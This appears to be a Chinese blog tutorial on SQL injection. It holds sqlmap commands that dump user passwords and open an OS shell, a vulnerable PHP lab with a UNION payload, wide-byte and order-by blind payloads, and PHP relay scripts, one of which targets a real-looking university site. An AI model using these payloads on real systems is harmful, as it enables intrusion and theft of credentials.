什么是SQL注入?

原理:

Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令

危害:

注入可能导致数据丢失泄露或数据破坏、缺乏可审计性,有时甚至能导致完全接管主机。

类型:

主要有 数字型字符型搜索型

防范:

使用参数化查询,预处理语句,如mysqli,并且添加过滤机制

分类(根据技术)

布尔型盲注:根据返回页面判断条件真假

时间型盲注:用页面返回时间是否增加判断是否存在注入

基于错误的注入:页面会返回错误信息

联合查询注入:可以使用union的情况下

堆查询注入:可以同时执行多条语句

另外还有

  1. 二阶注入:不对Web服务器产生直接影响,无回显的​基于注入点位置的: 通过用户输入的表单域的注射入、 通过cookie注射入、通过HTTP-header请求头的注入

关于SQL注入神器 Sqlmap

我的博客有详细的sqlmap选项说明:https://wintrysec.github.io/wintrysec.github.io/2018/12/12/SQLmap/

当给到 sqlmap 一个url的时候它会这么做

  1. 1、判断可注入的参数2、判断可以用那种SQL注入技术来注入3、识别出哪种数据库4、根据用户选择,读取哪些数据

所以使用sqlmap的时候,应提供尽量多的已知信息,提高效率

关于--level--risk选项

level 级别 默认为 1 :测试GET和POST参数

level ≥ 2:测试cookie

level ≥ 3:测试 user-agent 和 referer

level 4-5:测试host

RISK 风险(1-3,默认1)升高风险等级会增加数据被篡改的风险。

risk 2:基于事件的测试;

risk 3:or语句的测试;

参数说明:

  1. --purge #清楚缓存日志​--data="id=1&name=test" #发送POST请求,默认使用&分隔符​--param-del=";" #强制参数使用";"分隔符​--delay=10 #延时注入的方法,说明一分钟请求6次 ​--timeout #设定http请求超过多少秒为超时,默认30秒 ​--random-agent #Sqlmap会从文件 ./txt/user-agents.txt 中随机地取一个User-Agent​#注意,在一次会话中只会使用同一个User-Agent,并不是每发一个HTTP请求包,都随机一个User-Agent​--auth-type Basic --auth-cred "user:pass" #基本身份认证​--ignore-code=401 #无视http状态码 ​--ignore-redirects #无视http重定向,比如登录成功会跳转到其他网页,可使用这个忽略掉​--safe-url="xxx.com" #隔一会就访问一下的安全URL,避免错误请求过多而被屏蔽,Sqlmap不会对安全URL进行任何注入测试​--skip-urlencode #关闭URL编码, 不排除有的奇葩网站url不遵守RFC标准编码

Techniques

  1. --technique=TECH #指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)​--time-sec=TIMESEC #在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。--union-cols=UCOLS #联合查询的尝试列数,随level增加,最多支持50列。例: --union-cols 6-9--union-char=UCHAR #联合查询默认使用的占列的是null,有些情况null可能会失效,可以手动指定其他的。例: --union-char 1--union-from=UFROM #联合查询从之前的查询结果中选择列,和上面的类似。--dns-domain=DNS.. #如果你控制了一台dns服务器,使用这个可以提高效率。例: --dns-domain 123.com--second-order=S.. #在这个页面注入的结果,在另一个页面显示。例: --second-order 1.1.1.1/b.php 用于二阶注入

寻找并利用SQL注入

这里使用sqlmap演示一个最简单的sql注入

1.注入检测,获取数据库

  1. sqlmap -u "http://192.168.1.105/code/owasp_top10/sqli/simple_get_blind/?id=1" --dbms=mysql --dbs #-u指定目标,--dbs列数据库

2.列表

  1. sqlmap -u "http://192.168.1.105/code/owasp_top10/sqli/simple_get_blind/?id=1" --dbms=mysql -D database_name --tables

3.列字段

  1. sqlmap -u "http://192.168.1.105/code/owasp_top10/sqli/simple_get_blind/?id=1" --dbms=mysql -D database_name -T users --columns

4.拖库 (取数据)

  1. sqlmap -u "http://192.168.1.105/code/owasp_top10/sqli/simple_get_blind/?id=1" --dbms=mysql -D database_name -T users -C "id,username,password" --dump --stop 5 #--stop N 取前N条数据

5.其它

  1. #若遇到堆叠注入可尝试以下选项--is-dba #判断是否dba权限,如果是可以用下边的选项获取shell--os-shell #获取系统交互shell

用户表单域POST注入

与上边的注入方法基本相同,只是要使用--data发送POST数据

  1. sqlmap -u "http://192.168.43.63/code/owasp_top10/sqli/post_time_blind/" --data="uname=1&passwd=1" --dbms=mysql --dbs

HTTP-Cookie头注入

level 2 级别才会测试cookie;登陆后Cookie会存储用户名。

开着Burp去登录进去,抓到登陆后Cookie存储了用户名的HTTP请求,放到sql.txt中,用-r选项从文件中读取

  1. sqlmap -r "/root/桌面/sql.txt" --dbms=mysql --level=2 --dbs

HTTP-User-Agent头注入

测试User-Agent需要level>=3

  1. sqlmap -r "/root/桌面/sql.txt" --dbms=mysql --level=3 --dbs

HTTP-Referer头注入

同样需要--level=3

  1. sqlmap -r "/root/桌面/sql.txt" --dbms=mysql --level=3 --dbs

宽字节注入

GB2312,GBK,GB18030,BIG5,Shift_JIS等这些都是常说的宽字节,实际为两字节也就是说,除了英文,其他的语言字符都是一个字符占两个字节

mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字 (前一个ascii码大于128才能到汉字的范围)

在过滤'的时候,往往利用的思路是将'转换为 \'

想办法将 ' 前面添加的 \ 除掉,一般有两种思路:

  1. %df吃掉 \ 具体的原因是urlencode('\) = %5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysqlGBK编码方式的时候会将两个字节当做一个汉字,此事%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。

  2. 将 ' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。

使用UTF-8编码可避免宽字节注入

二阶注入

当数据首次插入到数据库中时,许多应用程序能够安全处理这些数据。(数据本身包含了恶意数据)

一旦数据存储在数据库中,随后应用程序本身或其它后端进程可能会以危险的方式处理这些数据。

许多这类应用并不像面向因特网的主要应用程序一样安全,却拥有较高权限的数据库账户。

实验:

index.php 内容如下

  1. <!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>二次注入</title> <link rel="stylesheet" type="text/css" href="/css/bootstrap.min.css"> <script type="text/javascript" src="/js/bootstrap.min.js"></script> <style type="text/css"> body{background-color: #000000;} </style></head><body><div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center">Please Regist</div><center><div  align="center" style="width: 20%;background-color: #F0F8FF;padding-top: 10px;"><!--Form 表单--><form action="" name="form1" method="post"> <div class="input-group" >    <input type="text" class="form-control" placeholder="用户名" name="uname" value=""/> </div></br>  ​ <div class="input-group"> <input type="text" class="form-control" placeholder="密码" name="passwd" value=""/> </div></br> <input type="submit" name="submit" value="提交" class="btn btn-primary btn-lg" /></form></div></center>​​<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center"><font size="6" color="#FFFF00"><?php include("../config/connect.inc.php"); #这里是连接数据库的文件,自己修改一下 function check_char($value='') { $value=mysql_real_escape_string($value); #对传入数据进行转义处理 return $value; }// 获取用户传来的参数if(isset($_POST['uname']) && isset($_POST['passwd'])){ $uname1=$_POST['uname']; $passwd1=$_POST['passwd'];​ //写出到文件分析. $fp=fopen('result.txt','a'); fwrite($fp,'User Name:'.$uname); fwrite($fp,'Password:'.$passwd."\n"); fclose($fp);​ $uname=check_char($uname1); $passwd=check_char($passwd1); //写出到文件分析. $fp=fopen('check.txt','a'); fwrite($fp,'User Name:'.$uname); fwrite($fp,'Password:'.$passwd."\n"); fclose($fp);​​ // 执行SQL语句 @$sql="INSERT INTO users (username,password) VALUES ('$uname','$passwd'); "; $result=mysql_query($sql); echo "Your SQL is: ".$sql; echo "<br/> Mysql Error:"; print_r(mysql_error()); setcookie('uname',$uname); setcookie('uname1',$uname1); echo "<br>Now You can Access 'info.php' To view your Username"; //header('Location:info.php');}​?></font></div></body></html>

info.php 如下:

  1. <?php include('../config/connect.inc.php'); header('Content-Type: text/html; charset=utf-8'); $uname=$_COOKIE['uname']; $uname1=$_COOKIE['uname1']; echo "这是经过 'index.php' 页面处理过的用户名:".$uname."<br/>"; echo "这是mei经过 'index.php' 页面处理过的用户名:".$uname1."<br/>"; echo "==============================<br><br/>"; $sql="SELECT username FROM users WHERE username='$uname1'"; $res=mysql_query($sql); $row=mysql_fetch_array($res); echo $row['username']."<br/>"; print_r(mysql_error());​?>

用户注册的时候,对用户名进行了转义,但存入数据库的用户名是存在恶意数据的,info.php直接读取就会造成SQL注入

构造payload,当作注册时的用户名,这样就能造成SQL注入读取到admin的密码

  1. ' union select password from users where username='admin'#

扩展参考:

使用Burp和自定义Sqlmap Tamper利用二次注入漏洞

中转注入

对于一些站点当你发现了注入点,但并不适用于用sqlmap等工具跑,可以做中转注入

用PHP做中转注入

一种简单的:

qstring参数中的=后面存在布尔类型注入

  1. <? $test = $_GET['test']; echo $test; file_put_contents("test.txt", $test . "\r\n",FILE_APPEND); //这里记录下sql注入的参数。 $response = file_get_contents('http://xx.com/?id=1&qstring=XX.ID='.$test); echo $response ?>

sqlmap不能忽略证书,跑不了https的网站

  1. <?php
  2.  
  3. $url = "https://x.x.x.x/aaa.php";$sql = $_GET[arg];$s = urlencode($sql);$params = "email=$s&password=aa";//写出到文件分析.$fp=fopen('result.txt','a');fwrite($fp,'Params:'.$params."\n");fclose($fp);​$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书和hostscurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0');curl_setopt($ch, CURLOPT_TIMEOUT, 15);  curl_setopt($ch, CURLOPT_POST, 1);    // post 提交方式curl_setopt($ch, CURLOPT_POSTFIELDS, $params);  $output = curl_exec($ch);curl_close($ch);$a = strlen($output);​if($a==2846){    echo "1";}else{    echo "2";}

然后用sqlmap跑就行了

  1. sqlmap -u "http://localhost/sqlburp.php?s=paramxxx" --dbms=mysql --dbs

T00ls上的一个注入中转

  1. <?php//根据t00ls某牛修改一下//先开启php.ini 中的extension=php_curl.dllset_time_limit(1);$curl = curl_init();   //初始化curl$id = $_GET['id'];//替换id空格和=$id = str_replace(" ","%20",$id);$id = str_replace("=","%3D",$id);$url = "http://sfl.fzu.edu.cn/index.php/Index/view/id/​$id.html";// 设置你需要抓取的URL   curl_setopt($curl, CURLOPT_URL, $url);     // 设置header   curl_setopt($curl, CURLOPT_HEADER, 0);     // 设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上。   curl_setopt($curl, CURLOPT_RETURNTRANSFER, 0);     // 运行cURL,请求网页   $data = curl_exec($curl);     // 关闭URL请求   curl_close($curl);?>

用python做中转注入

可以自己去起个flask服务,或者使用下边这个工具

https://github.com/Key20/websocket-injection

order by注入

order by 注入是SQL注入中很常见的,被过滤的概率小

可被用户控制的数据在order by 子句后边,即order参数可控

利用IF语句和延时

  1. #将以下语句作为参数传入if(1=1,1,sleep(1))#无延迟,访问正常if(1=2,1,sleep(1))#延时,会卡住

数据猜解(引用自安全脉搏)

以猜解user()root@localhost为例子

由于只能一位一位猜解,可以利用SUBSTR,SUBSTRING,MID,以及leftright可以精准分割出每一位子串。

然后就是比较操作了可以利用=,like,regexplike不区分大小写。

通过下可以得知user()第一位为r,ascii码的16进制为0x72

  1. /?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) --正确/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) --错误

猜解当前数据库的表名:

  1. /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) --正确/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) --错误

猜解指定表名中的列名:

  1. /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) --正常/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) --错误

知道了原理,用Burp去猜解即可

Between And代替 ">" 尖括号:

用在当=,like,regexp,<,>等符号被过滤时。

sqlmap中使用between and 代替其它字符加上 --tamper=between 即可

判断条件真假

  1. 2 > 1 #真0 > 1 #假#以下用between and 实现判断真假2 between 1 and 3 #真3 betwwen 1 and 2 #假

between and还支持16进制,所以可以用16进制,来绕过单引号的过滤

  1. select database() between 0x61 and 0x7a; //select database() between 'a' and 'z';

DNSlog盲注

DNSlog盲注就是通过load_file函数发起请求,然后去DNSlog平台接收数据

DNS(Domain Name System)就是说将域名和IP地址做一个映射,以便于我们通过一个域名就可以访问一个服务器上的网站应用

  1. 每个服务器都必须要有一个独立的公网IP地址,这就可以让客户端根据该IP:port访问网站,或者根据域名访问

  1. DNSlog就是记录用户访问网站域名时,记录DNS和对应的IP的转换访问日志

  1. DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息​MySQL Load_File()函数可以发起请求,使用Dnslog接收请求,获取数据​通过SQL执行后,将内容输出到DNSlog中记录起来,然后我们可以在DNSlog平台查询回显数据​注意:load_file()只能在windows平台上才能发起请求,linux下是不行的

安全客链接:Dnslog在SQL注入中的实战

最后

手工SQL注入

WAF ByPass

MySQL False注入及技巧总结

一篇文章带你了解SQL注入的更多相关文章

  1. 一篇文章带你掌握主流数据库框架——MyBatis

    一篇文章带你掌握主流数据库框架--MyBatis MyBatis 是一款优秀的持久层框架,它支持自定义 SQL.存储过程以及高级映射. 在之前的文章中我们学习了MYSQL和JDBC,但是这些东西远远不 ...

  2. 一篇文章带你掌握主流基础框架——Spring

    一篇文章带你掌握主流基础框架--Spring 这篇文章中我们将会介绍Spring的框架以及本体内容,包括核心容器,注解开发,AOP以及事务等内容 那么简单说明一下Spring的必要性: Spring技 ...

  3. MYSQL(基本篇)——一篇文章带你走进MYSQL的奇妙世界

    MYSQL(基本篇)--一篇文章带你走进MYSQL的奇妙世界 MYSQL算是我们程序员必不可少的一份求职工具了 无论在什么岗位,我们都可以看到应聘要求上所书写的"精通MYSQL等数据库及优化 ...

  4. MYSQL(进阶篇)——一篇文章带你深入掌握MYSQL

    MYSQL(进阶篇)--一篇文章带你深入掌握MYSQL 我们在上篇文章中已经学习了MYSQL的基本语法和概念 在这篇文章中我们将讲解底层结构和一些新的语法帮助你更好的运用MYSQL 温馨提醒:该文章大 ...

  5. 一篇文章带你了解NoSql数据库——Redis简单入门

    一篇文章带你了解NoSql数据库--Redis简单入门 Redis是一个基于内存的key-value结构数据库 我们会利用其内存存储速度快,读写性能高的特点去完成企业中的一些热门数据的储存信息 在本篇 ...

  6. 一篇文章带你掌握主流服务层框架——SpringMVC

    一篇文章带你掌握主流服务层框架--SpringMVC 在之前的文章中我们已经学习了Spring的基本内容,SpringMVC隶属于Spring的一部分内容 但由于SpringMVC完全针对于服务层使用 ...

  7. 一篇文章带你掌握主流办公框架——SpringBoot

    一篇文章带你掌握主流办公框架--SpringBoot 在之前的文章中我们已经学习了SSM的全部内容以及相关整合 SSM是Spring的产品,主要用来简化开发,但我们现在所介绍的这款框架--Spring ...

  8. 一篇文章带你掌握MyBatis简化框架——MyBatisPlus

    一篇文章带你掌握MyBatis简化框架--MyBatisPlus 我们在前面的文章中已经学习了目前开发所需的主流框架 类似于我们所学习的SpringBoot框架用于简化Spring开发,我们的国人大大 ...

  9. 一篇文章带你了解网页框架——Vue简单入门

    一篇文章带你了解网页框架--Vue简单入门 这篇文章将会介绍我们前端入门级别的框架--Vue的简单使用 如果你以后想从事后端程序员,又想要稍微了解前端框架知识,那么这篇文章或许可以给你带来帮助 温馨提 ...

随机推荐

  1. PHP mysqli_fetch_assoc() 函数

    从结果集中取得一行作为关联数组: <?php // 假定数据库用户名:root,密码:123456,数据库:RUNOOB $con=mysqli_connect("localhost& ...

  2. const 与指针 的用法

    请找出下面程序中有哪些错误: 1 2 3 4 5 6 7 8 9 10 11 12 13 int main() {    int i=10;    int j=1;    const int *p1; ...

  3. 【8.27-模拟赛】remove

    题解: 代码: #include<iostream> #include<algorithm> #include<cstdio> #include<cstrin ...

  4. 【线性代数】3-4:方程组的完整解( $Ax=b$ )

    title: [线性代数]3-4:方程组的完整解( Ax=bAx=bAx=b ) categories: Mathematic Linear Algebra keywords: Ax=b Specia ...

  5. Python实用黑科技——解包元素(2)

    需求: 前面的文章讲的是使用变量的个数需要和迭代器数据变量的元素个数相同的方法,但更多的时候确实不想根据元素个数n来定义相应多的变量,而是希望用较少的变量( def drop_first_last(g ...

  6. 使用 kubeadm 安装 kubernetes v1.16.0

    近日通过kubeadm 安装 kubernetes v1.16.0,踩过不少坑,现记录下安装过程. 安装环境: 系           统:CentOS Linux release 7.6 Docke ...

  7. 阿里云修改主机名hostname

    一.永久修改主机名的方法(针对于普通的服务器) 1.通过hostname命令修改. [root@izwz9f7pm0tw36neb1j7gmz ~]# hostname node1 修改完之后发现主机 ...

  8. 【java设计模式】-07适配器模式

    适配器模式 定义: 将一个类的接口转换成客户希望的另外一个接口.适配器模式使得原本由于接口不兼容而不能一起工作的那些类可以一起工作. 类型: 结构型模式 应用实例: 1.JAVA JDK 1.1 提供 ...

  9. 从JMS到KafKa

    从JMS到KafKa JMS (1)JMS概念 JMS(Java Message Service,java消息服务)API是一个消息服务的标准或者说是规范,允许应用程序组件基于JavaEE平台创建.发 ...

  10. js获取整个屏幕的尺寸

    原文 首先获取屏幕宽度:window.screen.width;    //整个屏幕的宽度. 然后获取屏幕高度:window.screen.height;     //整个屏幕的高度. 获取可用工作区 ...